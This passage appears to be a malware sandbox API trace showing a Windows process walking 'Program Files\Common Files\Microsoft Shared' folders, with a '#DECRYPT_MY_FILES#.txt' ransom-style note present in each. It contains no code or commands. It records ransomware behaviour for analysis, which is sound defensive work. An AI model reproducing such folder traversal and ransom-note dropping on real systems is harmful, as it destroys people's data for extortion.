ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0033.900] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0033.900] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0033.901] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="Help", cAlternateFileName="")) returned 1 [0033.901] AreFileApisANSI () returned 1 [0033.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0033.902] GetFileType (hFile=0xc8) returned 0x1 [0033.903] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0033.903] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0033.903] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7318e20, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.904] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0033.904] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0033.904] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0033.904] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0033.904] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0033.904] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="ink", cAlternateFileName="")) returned 1 [0033.904] AreFileApisANSI () returned 1 [0033.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0033.905] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0033.905] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0033.905] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7318e20, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.905] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x4fa, dwReserved1=0x42c3d8, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0033.905] AreFileApisANSI () returned 1 [0033.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0033.909] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0033.909] AreFileApisANSI () returned 1 [0033.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.910] GetFileType (hFile=0xc4) returned 0x1 [0033.911] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.911] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.911] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7318e20, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.912] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.912] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0033.912] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.912] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0033.912] AreFileApisANSI () returned 1 [0033.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.912] GetFileType (hFile=0xc4) returned 0x1 [0033.913] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.913] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7318e20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.914] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7318e20, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb7318e20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.914] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.914] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0033.914] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.914] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x40, dwReserved1=0x180, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0033.914] AreFileApisANSI () returned 1 [0033.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0033.914] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x40, dwReserved1=0x180, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0033.914] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0033.914] AreFileApisANSI () returned 1 [0033.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.915] GetFileType (hFile=0xc4) returned 0x1 [0033.916] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.916] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.916] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb733ef80, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.916] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.916] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0033.916] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.916] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="da-DK", cAlternateFileName="")) returned 1 [0033.917] AreFileApisANSI () returned 1 [0033.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.917] GetFileType (hFile=0xc4) returned 0x1 [0033.918] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.918] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.918] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb733ef80, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb733ef80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb733ef80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.918] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, 